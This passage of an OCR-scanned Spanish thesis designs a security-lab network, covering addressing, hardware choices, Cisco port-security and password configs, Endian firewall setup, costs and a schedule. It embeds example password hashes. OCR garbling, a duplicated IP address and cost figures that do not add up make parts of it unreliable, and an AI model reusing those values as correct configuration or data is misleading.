SW-RB VLAN 88 192.168.88.3 255.255.255.0 192.168.88.1
SW-DMZ VLAN 10 200.10.120.5 255.255.255.248 200.10.120.1
PHONE-01 Fa0/1 192.168.30.2 255.255.255.0 192.168.30.1
PHONE-02 Fa0/1 192.168.30.3 255.255.255.0 192.168.30.1
PHONE-03 Fa0/1 192.168.30.4 255.255.255.0 192.168.30.1
PHONE-04 Fa0/1 192.168.30.5 255.255.255.0 192.168.30.1
PHONE-05 Fa0/1 192.168.30.6 255.255.255.0 192.168.30.1
PHONE-06 Fa0/1 192.168.30.7 255.255.255.0 192.168.30.1
PHONE-07 Fa0/1 192.168.30.8 255.255.255.0 192.168.30.1
PHONE-08 Fa0/1 192.168.30.9 255.255.255.0 192.168.30.1
PHONE-09 Fa0/1 192.168.30.10 255.255.255.0 192.168.30.1
PHONE-10 Fa0/1 192.168.30.11 255.255.255.0 192.168.30.1
CAM-01 Fa0/1 192.168.60.2 255.255.255.0 192.168.60.1
CAM-02 Fa0/1 192.168.60.3 255.255.255.0 192.168.60.1
WR-AP Gio/1 192.168.100.2 255.255.255.0 192.168.100.1
PC-1 Gio/1 192.168.24.3 255.255.255.0 192.168.24.1
PC-10 Gio/1 192.168.24.12 255.255.255.0 192.168.24.1
PC-11 Gio/1 192.168.25.3 255.255.255.0 192.168.25.1
PC-20 Gio/1 192.168.25.12 255.255.255.0 192.168.25.1
KALI NAT 192.168.100.2 255.255.255.0 192.168.100.1

Tabla 6: Direccionamiento de los dispositivos.

2.3 Equipos a utilizar.

2.3.1 Conmutador Cisco Smb Sg220

Se propone el uso de conmutadores Cisco Smb Sg220-26p-k9 que cuentan con 24

puertos GigabitEthernet y que también proveen alimentacion de energia a través de la

tecnologia PoE para los teléfonos y camaras IP. Estos conmutadores seran los que

interconecten a los dispositivos finales. El detalle de las especificaciones técnicas puede

ser revisado en https://www.cisco.com/c/en/us/support/switches/sg220-26p-26-port-

gigabit-poe-smart-plus-switch/model.html .



https://www.cisco.com/c/en/us/support/switches/sg220-26p-26-port-gigabit-poe-smart-plus-switch/model.html
https://www.cisco.com/c/en/us/support/switches/sg220-26p-26-port-gigabit-poe-smart-plus-switch/model.html
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2.3.2 Conmutador Cisco WS-C2960CX

Se propone la utilizacibn de conmutadores Cisco WS-C2960CX-8PC-L que tienen 8
puertos GigabitEthernet y que seran utilizados para interconectar los dispositivos en la
capa de distribucion y a los servidores de la DMZ en la capa de ndcleo de la red. El
detalle de las especificaciones técnicas puede ser revisado en

https://www.cisco.com/c/en/us/support/switches/catalyst-2960cx-8pc-I-

switch/model.html.

2.3.3 Access Point Dlink DIR-835 Wireless N750.

Para el medio inaldmbrico se propone el uso del Access point Dlink DIR-835 Wireless
N750. Se selecciond este dispositivo por su costo y porque nos permite instalar el
firmware OpenWRT para realizar otro tipo de pruebas de intrusion. El detalle de las
especificaciones técnicas puede ser revisado en http://shop.us.dlink.com/shop/d-link-

systems-dir-835-wireless-n750-dual-band-router.html .

2.3.4 Enrutador Cisco 1921

Para la conexién de la WAN se ha propuesto la seleccién del enrutador Cisco 1921, el
cual posee dos interfaces GigabitEthernet y dos lotes de expansion para interfaces de
mayor velocidad en la conexion WAN. El detalle de especificaciones técnicas puede ser

revisado en https://www.cisco.com/c/en/us/support/routers/1921-inteqrated-services-

router-isr/model.html .

2.3.5 Teléfono IP Cisco CP-7906G

Para telefonia IP se ha propuesto el uso de los equipos Cisco CP-7906G, que soportan
la tecnologia POE y cuyo costo es relativamente bajo. El detalle de especificaciones
técnicas puede ser revisado en
https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-
phone-7906q/product data sheet0900aecd8048f738.html .



https://www.cisco.com/c/en/us/support/switches/catalyst-2960cx-8pc-l-switch/model.html
https://www.cisco.com/c/en/us/support/switches/catalyst-2960cx-8pc-l-switch/model.html
http://shop.us.dlink.com/shop/d-link-systems-dir-835-wireless-n750-dual-band-router.html
http://shop.us.dlink.com/shop/d-link-systems-dir-835-wireless-n750-dual-band-router.html
https://www.cisco.com/c/en/us/support/routers/1921-integrated-services-router-isr/model.html
https://www.cisco.com/c/en/us/support/routers/1921-integrated-services-router-isr/model.html
https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7906g/product_data_sheet0900aecd8048f738.html
https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7906g/product_data_sheet0900aecd8048f738.html
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2.3.6 Camara IP Dlink DCS-4703E

Para las camaras IP que se incluyen en la topologia se propuso el modelo DCS-4703E
de Dlink. Este modelo cuenta con un sensor CMOS progresivo de 3,3 megapixeles,
lente fija con distancia focal de 3,6 mm y abertura F1.8. Graba con 1080p de resolucién
a 30 fps. ElI detalle de especificaciones técnicas puede ser revisado en

http://www.dlink.com/es/es/products/dcs-4703e-vigilance-full-hd-outdoor-poe-mini-

bullet-camera .

2.3.7 Equipo de Cémputo.
Para los equipos de cédmputo se proponen los siguientes requerimientos minimos:

e Almacenamiento: 1TB
¢ Memoria RAM: 12GB
e CPU: Intel Core i7 5ta Gen

2.4 Configuraciones de red y seguridad para conmutadores, enrutador y UTM.

Para las configuraciones de seguridad de los conmutadores y enrutador, se realizé el
aseguramiento de los puertos fisicos de los dispositivos de la siguiente forma para los

puertos tipo “Trunk”:
switchport mode trunk
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown

switchport port-security mac-address sticky

Estas configuraciones permitirdn que soélo un dispositivo pueda conectarse a cada puerto
tipo “Trunk”. ElI conmutador o enrutador obtendra la direccion mac-address del dispositivo
que se conecta al puerto a través del método “sticky”. Si otro dispositivo tratase de
conectarse al mismo puerto, se activara la medida de seguridad configurada como “violation

shutdown”, que apagara de inmediato el puerto afectado.


http://www.dlink.com/es/es/products/dcs-4703e-vigilance-full-hd-outdoor-poe-mini-bullet-camera
http://www.dlink.com/es/es/products/dcs-4703e-vigilance-full-hd-outdoor-poe-mini-bullet-camera
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Para los puertos de tipo “Access” se lo realiz6 de igual manera como se muestra a

continuacion:
switchport mode access
switchport access vlan X
switchport port-security
switchport port-security maximum 1
switchport port-security violation shutdown

switchport port-security mac-address sticky

Donde X es el numero de la VLAN correspondiente. Se ha establecido que cada puerto sélo
podra ser utilizado por un Unico dispositivo. De igual manera, estas configuraciones
permitiran que sélo un dispositivo pueda conectarse a cada puerto tipo “Access”. Si otro
dispositivo tratase de conectarse al mismo puerto, se activara la medida de seguridad

configurada de la misma forma como se explico anteriormente.

Para la gestion de contrasefias locales en los dispositivos se configura una clave secreta
para el acceso al modo privilegiado, una contrasefia para acceder a través del cable de
consola, y una contrasefia para acceder a través de terminales virtuales. Se configura
también la encriptacion de todas las contrasefias que se encuentren en texto plano. Estas

configuraciones se muestran a continuacion.
service password-encryption
enable secret 5 $1$mERr$clpquqJ3shzhxjgmhv6IH.
line con 0
password 7 0822434319180B0OE
login
linevty 0 4

password 7 0822434319180B0OE



55

login

Los dispositivos de interconexion también deberan tener configurado el direccionamiento
provisto en la Tabla 6. Como ejemplo se muestra la configuracién de las interfaces VLAN
en el Switch HQ.

interface Vlan24

ip address 192.168.24.1 255.255.255.0
interface Vlan25

ip address 192.168.25.1 255.255.255.0
interface Vlan30

ip address 192.168.30.1 255.255.255.0
interface Vlan60

ip address 192.168.60.1 255.255.255.0
interface Vlan77

ip address 192.168.77.2 255.255.255.248
interface Vlan88

ip address 192.168.88.1 255.255.255.0
interface VIan100

ip address 192.168.100.1 255.255.255.0

En el switch HQ agregar la ruta por defecto apuntando hacia el servidor UTM. De esta forma

creamos una ruta de salida hacia las redes externas. Configurar la siguiente sentencia:

ip route 0.0.0.0 0.0.0.0 192.168.77.1

El Servidor UTM, clasifica las zonas de la red por los colores rojo, verde y naranja para la
Internet, Intranet y DMZ respectivamente, como se vio en la Figura 2.2 en la seccién 2.2.1.
Cada interfaz, representada por un color de acuerdo a cada zona, se configura de acuerdo
al direccionamiento propuesto en la Tabla 6. La configuracion se puede observar en la

Figura 2.4.
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2017-08-15 02:47:39 SETXTACCESS-I-Start

Wizard

ostname: IAN
Domain: localdomain
[RED interface type: STATIC
[RED device: eth2
[RED IPs (IP-CIDR): 188.120.37.2-30
[RED gateway: 188.120.37.1
[Primary DNS: 188.120.37.1
[Secondary DN3: 200.10.120.2

GREEN devices: eth®

GREEN IPs (IP-CIDR): 192.168.77.1.29
[Enable DHCP server on GREEN: off
ORANGE devices: ethl

DRANGE IPs (IP,CIDR): 200.10.120.1,29
BLUE devices:

BLUE IPs (IP-CIDR):
[Enable 33H access: on
Allow access to ports 22, 80 and 10443 from any interface: on

ostname? ENDIAN_

Figura 2.4: Configuracion de red de las interfaces del UTM Endian.

Se debe de crear las reglas basicas de interconexion de redes en el Firewall de Endian,
para las zonas existentes, siendo de primordial importancia la conexion entre las zonas
Verde y Naranja en las direcciones Verde a Verde, Verde a Naranja, Naranja a Verde y
Naranja a Naranja. Esto se muestra en la Figura 2.5.

endian firewall

community

Port farwarding / NAT Inter-Zone firewall configuration
Inter-Zone traffic
+ e
ra
# Source Destination Service Policy Remark Actions
<ANY: =3 7 7 F
BLUE <ANY> =5 o & =
<ANY= = e 7 T
4 BLUE BLUE <ANY=> =5 o #
<ANY= = e 7 T
<ANY=> ] o & F
Legend: B Enabled iclick to disable Disabled (click to enable) g Edit if T
Show rules of system services

g Inter-Zone Firewall Settings

Enable Inter-Zone firewall Bl

Figura 2.5: Configuracion de reglas de Firewall Inter-zonas.
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CAPITULO 3

3 COSTO Y TIEMPO DE IMPLEMENTACION.

En esta seccion presentaremos los equipos con sus respectivos costos, tiempo de entrega
e instalacién del disefio de solucion de nuestra infraestructura de Red para un entorno de

seguridad Informatica. Cabe mencionar que la mayoria de los proveedores seran locales.

3.1Costos de los equipos a Usar.

En la Tabla 7 se muestran los costos de los equipos de interconexion, servicios y diferentes
tecnologias que fueron empleadas en el disefio de la red.

Equipos y Servicios | Especificacion Valor Cantidad | TOTAL
Cisco C2960CX-8PC-L $820 1 $820
Cisco Smb Sg220-26p-k9 | $1,200 | 2 $2,400
Conmutadores
Cisco WS-C3560CX-8TC- | $900 1 $900
S
Enrutador Cisco 1921 $450 1 $450
Access Point Dlink DIR-835 $160 1 $160
PCs Servidores DELL / Intel Xeon E3-|$1,650 |4 $6,600
1220v2
PCs COMPAQ / Intel Core i7 | $700 20 $14,000
5th Gen
Teléfonos IP Cisco CP-7906G $95 10 $950
Camaras IP Dlink DCS-4703E $55 2 $110
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Cable UTP Cat 6A (1000 pies) $250 $250
Call Manager Cisco Unified | $2100 $2100
Communications Manager
Softphone Cisco Softphone IP-PT (10 | $1900 $1800
Teléfonos IP)
Gestion de Equipos | Instalacion y | $1000 $2000
Configuracién de Equipos
Gestion de Servicio | Servicio de Internet Fibra | $320 $960
de Internet Optica (2 Mbps) por 3
anos
SUBTOTAL $33,500
IVA (12%) $4,020
TOTAL 1 $37,520

Tabla 7: Costo de los equipos de interconexién y comunicacioén

3.2 Plan de Trabajo

Para el disefio de infraestructura de red, el tiempo de entrega del proyecto instalado y en

funcionamiento es de 35 dias como se detalla en la Figura 3.1. El cronograma de

actividades se muestra también en la Figura 3.2, donde se puede observar el calendario

con las fechas programadas.

Se propone disponer de dos personas que serdn encargadas de este proceso de

implementacion y configuracion de equipos.
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Mombres de los

Nombre de tarea v Duracion « Comienzo ~ Fin v [ecursos -
4 MANUAL DE PRACTICAS 3 dias lun 1/1/18 mié 3/1/18
Laboratorio 1: Spoofing en 1 dia lun 1/1/18 lun 1/1/18 Diego Calderén
Telefonia IP
Laboratorio 2: DoS en Windows 1 dia mar 2/1/18 mar 2/1/18 Diego Calderdn
Server 2012 R2
Laboratorio 3: Malware en 1 dia mié 3/1/18 mié 3/1/18 Diego Calderén
Windows 10
+ DISENO DE RED 4 dias jue 4/1/18 mar 9/1/18
Disefio Logico 2 dias jue 4/1/18 vie 5/1/18 Diego Calderén
Disefio Fisico 2 dias lun 8/1/18 mar 9/1/18 José Vélez
4 IMPLEMENTACION DE EQUIPOS 28 dias jue11/1/18  lun 19/2/18
Instalacién de Proveedor de 1 dia jue 11/1/18 jue 11/1/18 José Vélez
Internet
Montaje del Cableado 8 dias vie 12/1/18 mar 23/1/18 José Vélez
Estructurado
Instalacién de Equipos y 8 dias mié 24/1/18 vie 2/2/18 José Vélez
Dispositivos de Interconexion
Configuracion de Equipos e 5 dias lun 5/2/18 vie 9/2/18 Diego Calderdn
instalacién de software.
Pruebas de Funcionamiento 3 dias lun 12/2/18 mié 14/2/18 Diego Calderdn,
José Vélez
Entrega del Proyecto 3 dias jue 15/2/18 lun 19/2/18 Diego Calderén,

José Vélez

Figura 3.1: Tiempo de Implementacion

Nombre de tarea v

+ MANUAL DE PRACTICAS

Laboratorio 1: Spoofing en = Diego Calderén
Telefonia IP
Laboratorio 2: DoS en Windows j Diego Calderén
Server 2012 R2
Laboratorio 3: Malware en w1 Diego Calderén
Windows 10
4 DISENIO DE RED ——
Disefio Logico I 1 Diego Calderdn
Disefio Fisico D 1 José Vélez
+ IMPLEMENTACIGN DE EQUIPOS —
Instalacion de Proveedor de o José Vélez
Internet
Montaje del Cableado I 1 José Vélez
Estructurado
Instalacion de Equipos y [ 1 José Vélez
Dispositivos de Interconexion
Configuracion de Equipos e I 1 Diego Calderén
instalacion de software.
Pruebas de Funcionamiento B 1 Diego Calderdn, José Vélez

Entrega del Proyecto B : Diego Calderdn, José Vélez

Figura 3.2: Cronograma del Plan de Trabajo.
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CONCLUSIONES Y RECOMENDACIONES

El manual de practicas de laboratorio que hemos creado, nos ha permitido elaborar el
disefio de la infraestructura propuesto. Sin embargo, se pueden emplear diferentes disefios
de infraestructura a partir de las diferentes practicas de laboratorio que se elaboren de

acuerdo a diversos escenarios de riesgo de la seguridad de la informacion.

Para la realizacion de las pruebas de concepto (PoC), que se llevaron a cabo para la
elaboracion de cada practica de laboratorio, se empleé software que simulaba la
infraestructura de red, en el cual se pudo apreciar que los recursos fisicos nos

representaban una limitante para desarrollar las practicas.

Las configuraciones de los equipos no son estaticas y pueden cambiar de acuerdo al
planteamiento de nuevos escenarios de riesgo. Por tanto, se recomienda realizar y
mantener un backup de las configuraciones de los equipos, de esta forma podemos
reestablecer los equipos a sus configuraciones iniciales antes de realizar cada nueva

practica.

Se sugiere adquirir el licenciamiento de pago para las herramientas que se utilizan en las
practicas de laboratorio. De esta forma se puede explotar al maximo las capacidades que

éstas nos ofrecen.
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